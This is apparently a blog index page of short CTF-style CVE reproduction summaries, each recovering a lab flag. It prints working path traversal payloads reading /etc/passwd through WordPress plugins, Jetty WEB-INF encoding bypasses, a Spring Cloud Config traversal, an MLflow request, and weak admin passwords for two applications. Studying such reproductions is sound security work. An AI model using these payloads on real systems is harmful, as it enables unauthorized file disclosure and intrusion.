摘要：
CVE-2020-11738复现 使用/wp-admin/admin-ajax.php?action=duplicator_download&file=../../../../../../../../etc/passwd 发现可以下载文件 下载flag 阅读全文
posted @ 2026-02-15 14:27
大雪深埋
阅读(29)
评论(0)
推荐(0)
摘要：
CVE-2018-16299复现 使用payloadwp-content/plugins/localize-my-post/ajax/include.php?file=../../../../../../../../../../etc/passwd 查看flag 阅读全文
posted @ 2026-02-15 14:13
大雪深埋
阅读(18)
评论(0)
推荐(0)
摘要：
CVE-2020-5405复现 使用/1/1/(_)..(_)..(_)/etc/passwd绕过 查看flag 阅读全文
posted @ 2026-02-15 14:09
大雪深埋
阅读(16)
评论(0)
推荐(0)
摘要：
CVE-2021-46203复现 进入网站 进入管理员目录/admin 弱口令admin/tao进入后台,在文件管理里面进入根目录 下载flag 阅读全文
posted @ 2026-02-15 13:47
大雪深埋
阅读(32)
评论(0)
推荐(0)
摘要：
CVE-2023-29962复现 扫描目录，发现admin目录 使用弱密码admin/admin123进入后台 在网站安全下的文件管理里面发现flag 查看flag 阅读全文
posted @ 2026-02-15 05:44
大雪深埋
阅读(25)
评论(0)
推荐(0)
摘要：
CVE-2023-1177复现 进入网站 使用bp抓包，构造poc POST /ajax-api/2.0/mlflow/registered-models/create Content-Type: application/json {"name": "testfile"} 构造要查看的文件的poc 阅读全文
posted @ 2026-02-15 05:34
大雪深埋
阅读(30)
评论(0)
推荐(0)
摘要：
CVE-2021-28164复现 直接访问WEB-INF/flag发现会报错 使用/%2e/WEB-INF/flag绕过 阅读全文
posted @ 2026-02-15 05:15
大雪深埋
阅读(13)
评论(0)
推荐(0)
摘要：
CVE-2021-34429复现 直接访问/WEB-INF/flag发现会报错 使用/%u002e/WEB-INF/flag绕过 阅读全文
posted @ 2026-02-15 05:06
大雪深埋
阅读(24)
评论(0)
推荐(0)
摘要：
CVE-2021-28169复现 正常访问/static?/WEB-INF/web.xml发现访问不了 将W编码两次之后可以绕过/static?/%2557EB-INF/web.xml 查看flag/static?/%2557EB-INF/flag 阅读全文
posted @ 2026-02-15 04:56
大雪深埋
阅读(19)
评论(0)
推荐(0)
摘要：
CVE-2021-3019复现 使用/../conf/config.properties发现可以访问配置文件 访问flag 阅读全文
posted @ 2026-02-15 04:44
大雪深埋
阅读(21)
评论(0)
推荐(0)
浙公网安备 33010602011771号